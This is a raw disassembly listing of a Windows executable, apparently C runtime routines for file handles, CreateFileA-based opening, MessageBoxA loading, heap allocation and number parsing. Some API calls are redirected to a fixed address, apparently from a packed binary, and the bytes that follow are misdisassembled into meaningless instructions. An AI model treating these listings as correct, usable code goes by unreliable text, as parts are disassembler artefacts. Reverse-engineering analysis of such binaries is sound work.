pop ecx
jz short loc_41915B
add ds:dword_460C60, 20h
lea ecx, ds:460B60h[edi*4]
lea edx, [eax+100h]
mov [ecx], eax
loc_41913E: ; CODE XREF: sub_4190CC+88j
cmp eax, edx
jnb short loc_419156
and byte ptr [eax+4], 0
or dword ptr [eax], 0FFFFFFFFh
mov byte ptr [eax+5], 0Ah
mov edx, [ecx]
add eax, 8
add edx, esi
jmp short loc_41913E
; ---------------------------------------------------------------------------
loc_419156: ; CODE XREF: sub_4190CC+74j
shl edi, 5
mov ebx, edi
loc_41915B: ; CODE XREF: sub_4190CC+39j
; sub_4190CC+4Aj ...
pop edi
mov eax, ebx
pop esi
pop ebx
retn
sub_4190CC endp
; =============== S U B R O U T I N E =======================================
sub_419161 proc near ; CODE XREF: sub_4192E6+1F4p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push esi
cmp eax, ds:dword_460C60
push edi
jnb short loc_4191C1
mov ecx, eax
mov esi, eax
sar ecx, 5
and esi, 1Fh
lea edi, ds:460B60h[ecx*4]
shl esi, 3
mov ecx, [edi]
cmp dword ptr [ecx+esi], 0FFFFFFFFh
jnz short loc_4191C1
cmp ds:dword_42E184, 1
push ebx
mov ebx, [esp+0Ch+arg_4]
jnz short near ptr loc_4191B6+1
sub eax, 0
jz short loc_4191AE
dec eax
jz short loc_4191A9
dec eax
jnz short near ptr loc_4191B6+1
push ebx
push 0FFFFFFF4h
jmp short loc_4191B1
; ---------------------------------------------------------------------------
loc_4191A9: ; CODE XREF: sub_419161+3Ej
push ebx
push 0FFFFFFF5h
jmp short loc_4191B1
; ---------------------------------------------------------------------------
loc_4191AE: ; CODE XREF: sub_419161+3Bj
push ebx
push 0FFFFFFF6h
loc_4191B1: ; CODE XREF: sub_419161+46j
; sub_419161+4Bj
call near ptr 3E0000h
loc_4191B6: ; CODE XREF: sub_419161+36j
; sub_419161+41j
or byte ptr [ebx+301C8907h], 33h
rcr byte ptr [ebx-15h], 14h
loc_4191C1: ; CODE XREF: sub_419161+Cj
; sub_419161+28j
and ds:dword_45F848, 0
mov ds:dword_45F844, 9
or eax, 0FFFFFFFFh
pop edi
pop esi
retn
sub_419161 endp
; =============== S U B R O U T I N E =======================================
sub_4191D8 proc near ; CODE XREF: sub_416300+7Cp
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
push esi
cmp ecx, ds:dword_460C60
push edi
jnb short loc_41923B
mov eax, ecx
mov esi, ecx
sar eax, 5
and esi, 1Fh
lea edi, ds:460B60h[eax*4]
shl esi, 3
mov eax, [edi]
add eax, esi
test byte ptr [eax+4], 1
jz short loc_41923B
cmp dword ptr [eax], 0FFFFFFFFh
jz short loc_41923B
cmp ds:dword_42E184, 1
jnz short near ptr loc_419230+1
xor eax, eax
sub ecx, eax
jz short loc_419228
dec ecx
jz short loc_419223
dec ecx
jnz short near ptr loc_419230+1
push eax
push 0FFFFFFF4h
jmp short loc_41922B
; ---------------------------------------------------------------------------
loc_419223: ; CODE XREF: sub_4191D8+41j
push eax
push 0FFFFFFF5h
jmp short loc_41922B
; ---------------------------------------------------------------------------
loc_419228: ; CODE XREF: sub_4191D8+3Ej
push eax
push 0FFFFFFF6h
loc_41922B: ; CODE XREF: sub_4191D8+49j
; sub_4191D8+4Ej
call near ptr 3E0000h
loc_419230: ; CODE XREF: sub_4191D8+38j
; sub_4191D8+44j
xchg cl, [ebx+300C8307h]
push dword ptr [ebx]
shr bl, 14h
loc_41923B: ; CODE XREF: sub_4191D8+Cj
; sub_4191D8+2Aj ...
and ds:dword_45F848, 0
mov ds:dword_45F844, 9
or eax, 0FFFFFFFFh
pop edi
pop esi
retn
sub_4191D8 endp
; =============== S U B R O U T I N E =======================================
sub_419252 proc near ; CODE XREF: sub_416300+32p
; sub_416300+49p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
cmp eax, ds:dword_460C60
jnb short loc_41927A
mov ecx, eax
and eax, 1Fh
sar ecx, 5
mov ecx, ds:dword_460B60[ecx*4]
test byte ptr [ecx+eax*8+4], 1
lea eax, [ecx+eax*8]
jz short loc_41927A
mov eax, [eax]
retn
; ---------------------------------------------------------------------------
loc_41927A: ; CODE XREF: sub_419252+Aj
; sub_419252+23j
and ds:dword_45F848, 0
mov ds:dword_45F844, 9
or eax, 0FFFFFFFFh
retn
sub_419252 endp
; =============== S U B R O U T I N E =======================================
sub_41928F proc near ; CODE XREF: sub_4163DE+2Bp
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
cmp eax, ds:dword_460C60
jnb short loc_4192D8
mov ecx, eax
mov edx, eax
sar ecx, 5
and edx, 1Fh
mov ecx, ds:dword_460B60[ecx*4]
test byte ptr [ecx+edx*8+4], 1
jz short loc_4192D8
push eax
call sub_419252
pop ecx
push eax
call near ptr 3E0000h
mov al, [ebp-0F78A40h]
adc eax, offset dword_41C068
jmp short loc_4192CF
; ---------------------------------------------------------------------------
xor eax, eax
loc_4192CF: ; CODE XREF: sub_41928F+3Cj
test eax, eax
jz short locret_4192E5
mov ds:dword_45F848, eax
loc_4192D8: ; CODE XREF: sub_41928F+Aj
; sub_41928F+22j
mov ds:dword_45F844, 9
or eax, 0FFFFFFFFh
locret_4192E5: ; CODE XREF: sub_41928F+42j
retn
sub_41928F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4192E6 proc near ; CODE XREF: sub_4167BA+13Fp
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_1 = byte ptr -1
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 1Ch
mov ecx, [ebp+arg_4]
push ebx
xor ebx, ebx
push esi
test cl, 80h
push edi
mov [ebp+var_1C], 0Ch
mov [ebp+var_18], ebx
jz short loc_41930C
mov [ebp+var_14], ebx
mov [ebp+var_1], 10h
jmp short loc_419317
; ---------------------------------------------------------------------------
loc_41930C: ; CODE XREF: sub_4192E6+1Bj
and [ebp+var_1], 0
mov [ebp+var_14], 1
loc_419317: ; CODE XREF: sub_4192E6+24j
mov eax, 8000h
test ecx, eax
jnz short loc_419331
test ch, 40h
jnz short loc_41932D
cmp ds:dword_45FB28, eax
jz short loc_419331
loc_41932D: ; CODE XREF: sub_4192E6+3Dj
or [ebp+var_1], 80h
loc_419331: ; CODE XREF: sub_4192E6+38j
; sub_4192E6+45j
push 3
mov eax, ecx
pop esi
and eax, esi
sub eax, ebx
jz short loc_419369
dec eax
jz short loc_419360
dec eax
jz short loc_419357
loc_419342: ; CODE XREF: sub_4192E6+9Fj
; sub_4192E6+E8j ...
mov ds:dword_45F844, 16h
mov ds:dword_45F848, ebx
jmp loc_41957C
; ---------------------------------------------------------------------------
loc_419357: ; CODE XREF: sub_4192E6+5Aj
mov [ebp+var_C], 0C0000000h
jmp short loc_419370
; ---------------------------------------------------------------------------
loc_419360: ; CODE XREF: sub_4192E6+57j
mov [ebp+var_C], 40000000h
jmp short loc_419370
; ---------------------------------------------------------------------------
loc_419369: ; CODE XREF: sub_4192E6+54j
mov [ebp+var_C], 80000000h
loc_419370: ; CODE XREF: sub_4192E6+78j
; sub_4192E6+81j
mov eax, [ebp+arg_8]
cmp eax, 10h
jz short loc_41939E
cmp eax, 20h
jz short loc_419395
cmp eax, 30h
jz short loc_41938C
cmp eax, 40h
jnz short loc_419342
mov [ebp+var_10], esi
jmp short loc_4193A1
; ---------------------------------------------------------------------------
loc_41938C: ; CODE XREF: sub_4192E6+9Aj
mov [ebp+var_10], 2
jmp short loc_4193A1
; ---------------------------------------------------------------------------
loc_419395: ; CODE XREF: sub_4192E6+95j
mov [ebp+var_10], 1
jmp short loc_4193A1
; ---------------------------------------------------------------------------
loc_41939E: ; CODE XREF: sub_4192E6+90j
mov [ebp+var_10], ebx
loc_4193A1: ; CODE XREF: sub_4192E6+A4j
; sub_4192E6+ADj ...
mov edx, 700h
mov eax, 400h
and ecx, edx
mov edi, 100h
cmp ecx, eax
jg short loc_4193EB
jz short loc_4193E6
cmp ecx, ebx
jz short loc_4193E6
cmp ecx, edi
jz short loc_4193DD
cmp ecx, 200h
jz short loc_419404
cmp ecx, 300h
jnz loc_419342
mov [ebp+var_8], 2
jmp short loc_419414
; ---------------------------------------------------------------------------
loc_4193DD: ; CODE XREF: sub_4192E6+D8j
mov [ebp+var_8], 4
jmp short loc_419414
; ---------------------------------------------------------------------------
loc_4193E6: ; CODE XREF: sub_4192E6+D0j
; sub_4192E6+D4j
mov [ebp+var_8], esi
jmp short loc_419414
; ---------------------------------------------------------------------------
loc_4193EB: ; CODE XREF: sub_4192E6+CEj
cmp ecx, 500h
jz short loc_41940D
cmp ecx, 600h
jz short loc_419404
cmp ecx, edx
jz short loc_41940D
jmp loc_419342
; ---------------------------------------------------------------------------
loc_419404: ; CODE XREF: sub_4192E6+E0j
; sub_4192E6+113j
mov [ebp+var_8], 5
jmp short loc_419414
; ---------------------------------------------------------------------------
loc_41940D: ; CODE XREF: sub_4192E6+10Bj
; sub_4192E6+117j
mov [ebp+var_8], 1
loc_419414: ; CODE XREF: sub_4192E6+F5j
; sub_4192E6+FEj ...
mov eax, [ebp+arg_4]
mov esi, 80h
test eax, edi
jz short loc_419433
mov ecx, ds:dword_45F84C
not ecx
and ecx, [ebp+arg_C]
test cl, 80h
jnz short loc_419433
push 1
pop esi
loc_419433: ; CODE XREF: sub_4192E6+138j
; sub_4192E6+148j
test al, 40h
jz short loc_419441
or esi, 4000000h
or byte ptr [ebp+var_C+2], 1
loc_419441: ; CODE XREF: sub_4192E6+14Fj
test ah, 10h
jz short loc_419448
or esi, edi
loc_419448: ; CODE XREF: sub_4192E6+15Ej
test al, 20h
jz short loc_419454
or esi, 8000000h
jmp short loc_41945E
; ---------------------------------------------------------------------------
loc_419454: ; CODE XREF: sub_4192E6+164j
test al, 10h
jz short loc_41945E
or esi, 10000000h
loc_41945E: ; CODE XREF: sub_4192E6+16Cj
; sub_4192E6+170j
call sub_4190CC
mov ebx, eax
or edi, 0FFFFFFFFh
cmp ebx, edi
jnz short loc_41947F
and ds:dword_45F848, 0
mov ds:dword_45F844, 18h
jmp short loc_4194BD
; ---------------------------------------------------------------------------
loc_41947F: ; CODE XREF: sub_4192E6+184j
push 0
push esi
push [ebp+var_8]
lea eax, [ebp+var_1C]
push eax
push [ebp+var_10]
push [ebp+var_C]
push [ebp+arg_0]
call ds:dword_41C078 ; CreateFileA
mov esi, eax
cmp esi, edi
jz short loc_4194B0
push esi
call near ptr 3E0000h
scasd
test eax, eax
jnz short loc_4194C4
push esi
call ds:dword_41C070 ; CloseHandle
loc_4194B0: ; CODE XREF: sub_4192E6+1B6j
call ds:dword_41C068 ; RtlGetLastWin32Error
push eax
call sub_41724D
pop ecx
loc_4194BD: ; CODE XREF: sub_4192E6+197j
mov eax, edi
jmp loc_41959A
; ---------------------------------------------------------------------------
loc_4194C4: ; CODE XREF: sub_4192E6+1C1j
cmp eax, 2
jnz short loc_4194CF
or [ebp+var_1], 40h
jmp short loc_4194D8
; ---------------------------------------------------------------------------
loc_4194CF: ; CODE XREF: sub_4192E6+1E1j
cmp eax, 3
jnz short loc_4194D8
or [ebp+var_1], 8
loc_4194D8: ; CODE XREF: sub_4192E6+1E7j
; sub_4192E6+1ECj
push esi
push ebx
call sub_419161
pop ecx
mov al, [ebp+var_1]
pop ecx
mov esi, ebx
mov ecx, ebx
or al, 1
sar ecx, 5
and esi, 1Fh
mov byte ptr [ebp+arg_0+3], al
lea edi, ds:460B60h[ecx*4]
shl esi, 3
mov ecx, [edi]
and byte ptr [ebp+arg_0+3], 48h
mov [ecx+esi+4], al
jnz short loc_419581
test al, 80h
jz short loc_419581
test byte ptr [ebp+arg_4], 2
jz short loc_419581
push 2
push 0FFFFFFFFh
push ebx
call sub_4169A2
add esp, 0Ch
cmp eax, 0FFFFFFFFh
mov [ebp+var_10], eax
jnz short loc_419536
cmp ds:dword_45F848, 83h
jz short loc_419581
jmp short loc_419575
; ---------------------------------------------------------------------------
loc_419536: ; CODE XREF: sub_4192E6+240j
and byte ptr [ebp+arg_8+3], 0
lea eax, [ebp+arg_8+3]
push 1
push eax
push ebx
call sub_4165C4
add esp, 0Ch
test eax, eax
jnz short loc_419563
cmp byte ptr [ebp+arg_8+3], 1Ah
jnz short loc_419563
push [ebp+var_10]
push ebx
call loc_41A233
pop ecx
cmp eax, 0FFFFFFFFh
pop ecx
jz short loc_419575
loc_419563: ; CODE XREF: sub_4192E6+265j
; sub_4192E6+26Bj
push 0
push 0
push ebx
call sub_4169A2
add esp, 0Ch
cmp eax, 0FFFFFFFFh
jnz short loc_419581
loc_419575: ; CODE XREF: sub_4192E6+24Ej
; sub_4192E6+27Bj
push ebx
call sub_416300
pop ecx
loc_41957C: ; CODE XREF: sub_4192E6+6Cj
or eax, 0FFFFFFFFh
jmp short loc_41959A
; ---------------------------------------------------------------------------
loc_419581: ; CODE XREF: sub_4192E6+221j
; sub_4192E6+225j ...
cmp byte ptr [ebp+arg_0+3], 0
jnz short loc_419598
test byte ptr [ebp+arg_4], 8
jz short loc_419598
mov eax, [edi]
or byte ptr [eax+esi+4], 20h
lea eax, [eax+esi+4]
loc_419598: ; CODE XREF: sub_4192E6+29Fj
; sub_4192E6+2A5j
mov eax, ebx
loc_41959A: ; CODE XREF: sub_4192E6+1D9j
; sub_4192E6+299j
pop edi
pop esi
pop ebx
leave
retn
sub_4192E6 endp
; =============== S U B R O U T I N E =======================================
sub_41959F proc near ; CODE XREF: seg000:0041752Dp
arg_0 = dword ptr 4
push 4
push 0
push [esp+8+arg_0]
call sub_4195B0
add esp, 0Ch
retn
sub_41959F endp
; =============== S U B R O U T I N E =======================================
sub_4195B0 proc near ; CODE XREF: sub_41959F+8p
arg_0 = byte ptr 4
arg_4 = dword ptr 8
arg_8 = byte ptr 0Ch
movzx eax, [esp+arg_0]
mov cl, [esp+arg_8]
test ds:byte_460D81[eax], cl
jnz short loc_4195DD
cmp [esp+arg_4], 0
jz short loc_4195D6
movzx eax, ds:word_42E19A[eax*2]
and eax, [esp+arg_4]
jmp short loc_4195D8
; ---------------------------------------------------------------------------
loc_4195D6: ; CODE XREF: sub_4195B0+16j
xor eax, eax
loc_4195D8: ; CODE XREF: sub_4195B0+24j
test eax, eax
jnz short loc_4195DD
retn
; ---------------------------------------------------------------------------
loc_4195DD: ; CODE XREF: sub_4195B0+Fj
; sub_4195B0+2Aj
push 1
pop eax
retn
sub_4195B0 endp
; =============== S U B R O U T I N E =======================================
sub_4195E1 proc near ; CODE XREF: sub_417C59+11Fp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push ebx
xor ebx, ebx
cmp ds:dword_45FB08, ebx
push esi
push edi
jnz short loc_419630
push offset aUser32_dll ; "user32.dll"
call ds:dword_41C0AC ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz short loc_419666
mov esi, ds:dword_41C0B0
push offset aMessageboxa ; "MessageBoxA"
push edi
call esi
test eax, eax
mov ds:dword_45FB08, eax
jz short loc_419666
push offset aGetactivewindo ; "GetActiveWindow"
push edi
call esi
push offset aGetlastactivep ; "GetLastActivePopup"
push edi
mov ds:dword_45FB0C, eax
call esi
mov ds:dword_45FB10, eax
loc_419630: ; CODE XREF: sub_4195E1+Bj
mov eax, ds:dword_45FB0C
test eax, eax
jz short loc_41964F
call eax
mov ebx, eax
test ebx, ebx
jz short loc_41964F
mov eax, ds:dword_45FB10
test eax, eax
jz short loc_41964F
push ebx
call eax
mov ebx, eax
loc_41964F: ; CODE XREF: sub_4195E1+56j
; sub_4195E1+5Ej ...
push [esp+0Ch+arg_8]
push [esp+10h+arg_4]
push [esp+14h+arg_0]
push ebx
call ds:dword_45FB08
loc_419662: ; CODE XREF: sub_4195E1+87j
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_419666: ; CODE XREF: sub_4195E1+1Cj
; sub_4195E1+33j
xor eax, eax
jmp short loc_419662
sub_4195E1 endp
; =============== S U B R O U T I N E =======================================
sub_41966A proc near ; CODE XREF: seg000:00417FE5p
; seg000:00417FFEp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
push esi
mov esi, [esp+8+arg_0]
push edi
imul esi, [esp+0Ch+arg_4]
cmp esi, 0FFFFFFE0h
mov ebx, esi
ja short loc_41968A
test esi, esi
jnz short loc_419684
push 1
pop esi
loc_419684: ; CODE XREF: sub_41966A+15j
add esi, 0Fh
and esi, 0FFFFFFF0h
loc_41968A: ; CODE XREF: sub_41966A+11j
; sub_41966A+65j
xor edi, edi
cmp esi, 0FFFFFFE0h
ja short loc_4196BB
cmp ebx, ds:dword_42E3AC
ja short loc_4196A6
push ebx
call sub_4138A6
mov edi, eax
pop ecx
test edi, edi
jnz short loc_4196D1
loc_4196A6: ; CODE XREF: sub_41966A+2Dj
push esi
push 8
push ds:dword_460EA0
call ds:dword_41C134 ; RtlAllocateHeap
mov edi, eax
test edi, edi
jnz short loc_4196DD
loc_4196BB: ; CODE XREF: sub_41966A+25j
cmp ds:dword_45F89C, 0
jz short loc_4196DD
push esi
call sub_4134BB
test eax, eax
pop ecx
jz short loc_4196E3
jmp short loc_41968A
; ---------------------------------------------------------------------------
loc_4196D1: ; CODE XREF: sub_41966A+3Aj
push ebx
push 0
push edi
call sub_410590
add esp, 0Ch
loc_4196DD: ; CODE XREF: sub_41966A+4Fj
; sub_41966A+58j
mov eax, edi
loc_4196DF: ; CODE XREF: sub_41966A+7Bj
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_4196E3: ; CODE XREF: sub_41966A+63j
xor eax, eax
jmp short loc_4196DF
sub_41966A endp
; ---------------------------------------------------------------------------
loc_4196E7: ; CODE XREF: seg000:00418076j
push esi
push edi
push 3
xor edi, edi
pop esi
cmp ds:dword_460B40, esi
jle short loc_41973A
loc_4196F6: ; CODE XREF: seg000:00419738j
mov eax, ds:dword_45FB34
mov eax, [eax+esi*4]
test eax, eax
jz short loc_419731
test byte ptr [eax+0Ch], 83h
jz short loc_419715
push eax
call sub_4119F0
cmp eax, 0FFFFFFFFh
pop ecx
jz short loc_419715
inc edi
loc_419715: ; CODE XREF: seg000:00419706j
; seg000:00419712j
cmp esi, 14h
jl short loc_419731
mov eax, ds:dword_45FB34
push dword ptr [eax+esi*4]
call sub_410C83
mov eax, ds:dword_45FB34
pop ecx
and dword ptr [eax+esi*4], 0
loc_419731: ; CODE XREF: seg000:00419700j
; seg000:00419718j
inc esi
cmp esi, ds:dword_460B40
jl short loc_4196F6
loc_41973A: ; CODE XREF: seg000:004196F4j
mov eax, edi
pop edi
pop esi
retn
; =============== S U B R O U T I N E =======================================
sub_41973F proc near ; CODE XREF: sub_4183DF+2Bp
; sub_4183DF+42p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov edx, [esp+arg_0]
push esi
mov esi, [esp+4+arg_4]
xor eax, eax
lea ecx, [edx+esi]
cmp ecx, edx
jb short loc_419755
cmp ecx, esi
jnb short loc_419758
loc_419755: ; CODE XREF: sub_41973F+10j
push 1
pop eax
loc_419758: ; CODE XREF: sub_41973F+14j
mov edx, [esp+4+arg_8]
pop esi
mov [edx], ecx
retn
sub_41973F endp
; =============== S U B R O U T I N E =======================================
sub_419760 proc near ; CODE XREF: sub_419819+40p
; sub_419819+61p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, [esp+4+arg_0]
push edi
mov edi, [esp+8+arg_4]
push esi
push dword ptr [edi]
push dword ptr [esi]
call sub_41973F
add esp, 0Ch
test eax, eax
jz short loc_419792
lea eax, [esi+4]
push eax
push 1
push dword ptr [eax]
call sub_41973F
add esp, 0Ch
test eax, eax
jz short loc_419792
inc dword ptr [esi+8]
loc_419792: ; CODE XREF: sub_419760+19j
; sub_419760+2Dj
lea eax, [esi+4]
push eax
push dword ptr [edi+4]
push dword ptr [eax]
call sub_41973F
add esp, 0Ch
test eax, eax
jz short loc_4197AA
inc dword ptr [esi+8]
loc_4197AA: ; CODE XREF: sub_419760+45j
lea eax, [esi+8]
push eax
push dword ptr [edi+8]
push dword ptr [eax]
call sub_41973F
add esp, 0Ch
pop edi
pop esi
retn
sub_419760 endp
; =============== S U B R O U T I N E =======================================
sub_4197BE proc near ; CODE XREF: sub_419819+30p
; sub_419819+36p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
push edi
mov esi, [eax]
mov edi, [eax+4]
mov ecx, esi
add esi, esi
mov [eax], esi
lea esi, [edi+edi]
shr ecx, 1Fh
or esi, ecx
mov ecx, [eax+8]
mov edx, edi
mov [eax+4], esi
shr edx, 1Fh
shl ecx, 1
or ecx, edx
pop edi
mov [eax+8], ecx
pop esi
retn
sub_4197BE endp
; =============== S U B R O U T I N E =======================================
sub_4197EC proc near ; CODE XREF: sub_419DB1+1C8p
; sub_41A379+17Dp
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
push edi
mov edx, [eax+8]
mov ecx, [eax+4]
mov esi, edx
mov edi, ecx
shl esi, 1Fh
shr ecx, 1
or ecx, esi
mov [eax+4], ecx
mov ecx, [eax]
shl edi, 1Fh
shr ecx, 1
shr edx, 1
or ecx, edi
pop edi
mov [eax+8], edx
mov [eax], ecx
pop esi
retn
sub_4197EC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419819 proc near ; CODE XREF: sub_4198E0+3CAp
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 10h
mov eax, [ebp+arg_4]
push ebx
mov ebx, [ebp+arg_8]
xor edx, edx
cmp eax, edx
push esi
mov [ebp+var_4], 404Eh
mov [ebx], edx
mov [ebx+4], edx
mov [ebx+8], edx
jbe short loc_41988D
push edi
mov [ebp+arg_8], eax
loc_419840: ; CODE XREF: sub_419819+6Fj
mov esi, ebx
lea edi, [ebp+var_10]
movsd
movsd
push ebx
movsd
call sub_4197BE
push ebx
call sub_4197BE
lea eax, [ebp+var_10]
push eax
push ebx
call sub_419760
push ebx
call sub_4197BE
mov eax, [ebp+arg_0]
and [ebp+var_C], 0
and [ebp+var_8], 0
movsx eax, byte ptr [eax]
mov [ebp+var_10], eax
lea eax, [ebp+var_10]
push eax
push ebx
call sub_419760
add esp, 1Ch
inc [ebp+arg_0]
dec [ebp+arg_8]
jnz short loc_419840
xor edx, edx
pop edi
loc_41988D: ; CODE XREF: sub_419819+21j
; sub_419819+9Fj
cmp [ebx+8], edx
jnz short loc_4198BA
mov ecx, [ebx+4]
mov eax, ecx
shr eax, 10h
mov [ebx+8], eax
mov eax, [ebx]
mov esi, eax
shr esi, 10h
shl ecx, 10h
or esi, ecx
shl eax, 10h
add [ebp+var_4], 0FFF0h
mov [ebx+4], esi
mov [ebx], eax
jmp short loc_41988D
; ---------------------------------------------------------------------------
loc_4198BA: ; CODE XREF: sub_419819+77j
mov esi, 8000h
loc_4198BF: ; CODE XREF: sub_419819+B9j
test [ebx+8], esi
jnz short loc_4198D4
push ebx
call sub_4197BE
add [ebp+var_4], 0FFFFh
pop ecx
jmp short loc_4198BF
; ---------------------------------------------------------------------------
loc_4198D4: ; CODE XREF: sub_419819+A9j
mov ax, word ptr [ebp+var_4]
pop esi
mov [ebx+0Ah], ax
pop ebx
leave
retn
sub_419819 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4198E0 proc near ; CODE XREF: sub_418728+17p
; sub_418755+17p
var_5C = byte ptr -5Ch
var_45 = byte ptr -45h
var_40 = dword ptr -40h
var_3A = dword ptr -3Ah
var_36 = dword ptr -36h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
sub esp, 5Ch
push ebx
push esi
push edi
mov edi, [ebp+arg_8]
lea eax, [ebp+var_5C]
push 1
mov [ebp+var_C], eax
xor eax, eax
pop edx
mov [ebp+var_28], eax
mov [ebp+var_18], edx
mov [ebp+var_4], eax
mov [ebp+var_10], eax
mov [ebp+var_24], eax
mov [ebp+var_20], eax
mov [ebp+var_2C], eax
mov [ebp+var_30], eax
mov [ebp+var_1C], eax
mov [ebp+var_8], eax
mov [ebp+var_14], eax
mov [ebp+arg_8], edi
loc_41991B: ; CODE XREF: sub_4198E0+52j
mov cl, [edi]
cmp cl, 20h
jz short loc_419931
cmp cl, 9
jz short loc_419931
cmp cl, 0Ah
jz short loc_419931
cmp cl, 0Dh
jnz short loc_419934
loc_419931: ; CODE XREF: sub_4198E0+40j
; sub_4198E0+45j ...
inc edi
jmp short loc_41991B
; ---------------------------------------------------------------------------
loc_419934: ; CODE XREF: sub_4198E0+4Fj
push 4
pop esi
loc_419937: ; CODE XREF: sub_4198E0+AEj
; sub_4198E0+B7j ...
mov bl, [edi]
inc edi
cmp eax, 0Bh ; switch 12 cases
ja loc_419BBA ; default
; jumptable 00419943 case 10
jmp ds:off_419D81[eax*4] ; switch jump
loc_41994A: ; DATA XREF: seg000:off_419D81o
cmp bl, 31h ; jumptable 00419943 case 0
jl short loc_41995B
cmp bl, 39h
jg short loc_41995B
loc_419954: ; CODE XREF: sub_4198E0+C4j
; sub_4198E0+118j
push 3
jmp loc_419B78
; ---------------------------------------------------------------------------
loc_41995B: ; CODE XREF: sub_4198E0+6Dj
; sub_4198E0+72j
cmp bl, ds:byte_42E3A0
jnz short loc_41996A
loc_419963: ; CODE XREF: sub_4198E0+124j
push 5
jmp loc_419BB0
; ---------------------------------------------------------------------------
loc_41996A: ; CODE XREF: sub_4198E0+81j
movsx eax, bl
sub eax, 2Bh
jz short loc_419990
dec eax
dec eax
jz short loc_419984
sub eax, 3
jnz loc_419C53
jmp loc_419A13
; ---------------------------------------------------------------------------
loc_419984: ; CODE XREF: sub_4198E0+94j
push 2
mov [ebp+var_28], 8000h
pop eax
jmp short loc_419937
; ---------------------------------------------------------------------------
loc_419990: ; CODE XREF: sub_4198E0+90j
and [ebp+var_28], 0
push 2
pop eax
jmp short loc_419937
; ---------------------------------------------------------------------------
loc_419999: ; CODE XREF: sub_4198E0+63j
; DATA XREF: seg000:off_419D81o
cmp bl, 31h ; jumptable 00419943 case 1
mov [ebp+var_10], edx
jl short loc_4199A6
cmp bl, 39h
jle short loc_419954
loc_4199A6: ; CODE XREF: sub_4198E0+BFj
cmp bl, ds:byte_42E3A0
jz loc_419A6E
cmp bl, 2Bh
jz short loc_4199E8
cmp bl, 2Dh
jz short loc_4199E8
cmp bl, 30h
jz short loc_419A13
loc_4199C1: ; CODE XREF: sub_4198E0+207j
cmp bl, 43h
jle loc_419C53
cmp bl, 45h
jle short loc_4199E1
cmp bl, 63h
jle loc_419C53
cmp bl, 65h
jg loc_419C53
loc_4199E1: ; CODE XREF: sub_4198E0+EDj
push 6
jmp loc_419BB0
; ---------------------------------------------------------------------------
loc_4199E8: ; CODE XREF: sub_4198E0+D5j
; sub_4198E0+DAj ...
dec edi
push 0Bh
jmp loc_419BB0
; ---------------------------------------------------------------------------
loc_4199F0: ; CODE XREF: sub_4198E0+63j
; DATA XREF: seg000:off_419D81o
cmp bl, 31h ; jumptable 00419943 case 2
jl short loc_4199FE
cmp bl, 39h
jle loc_419954
loc_4199FE: ; CODE XREF: sub_4198E0+113j
cmp bl, ds:byte_42E3A0
jz loc_419963
cmp bl, 30h
jnz loc_419BC8
loc_419A13: ; CODE XREF: sub_4198E0+9Fj
; sub_4198E0+DFj
mov eax, edx
jmp loc_419937
; ---------------------------------------------------------------------------
loc_419A1A: ; CODE XREF: sub_4198E0+63j
; DATA XREF: seg000:off_419D81o
mov [ebp+var_10], edx ; jumptable 00419943 case 3
loc_419A1D: ; CODE XREF: sub_4198E0+184j
cmp ds:dword_42E39C, edx
jle short loc_419A36
movzx eax, bl
push esi
push eax
call sub_413446
pop ecx
pop ecx
push 1
pop edx
jmp short loc_419A44
; ---------------------------------------------------------------------------
loc_419A36: ; CODE XREF: sub_4198E0+143j
mov ecx, ds:off_42E190
movzx eax, bl
mov al, [ecx+eax*2]
and eax, esi
loc_419A44: ; CODE XREF: sub_4198E0+154j
test eax, eax
jz short loc_419A66
cmp [ebp+var_4], 19h
jnb short loc_419A5E
mov eax, [ebp+var_C]
inc [ebp+var_4]
sub bl, 30h
inc [ebp+var_C]
mov [eax], bl
jmp short loc_419A61
; ---------------------------------------------------------------------------
loc_419A5E: ; CODE XREF: sub_4198E0+16Cj
inc [ebp+var_8]
loc_419A61: ; CODE XREF: sub_4198E0+17Cj
mov bl, [edi]
inc edi
jmp short loc_419A1D
; ---------------------------------------------------------------------------
loc_419A66: ; CODE XREF: sub_4198E0+166j
cmp bl, ds:byte_42E3A0
jnz short loc_419AD5
loc_419A6E: ; CODE XREF: sub_4198E0+CCj
mov eax, esi
jmp loc_419937
; ---------------------------------------------------------------------------
loc_419A75: ; CODE XREF: sub_4198E0+63j
; DATA XREF: seg000:off_419D81o
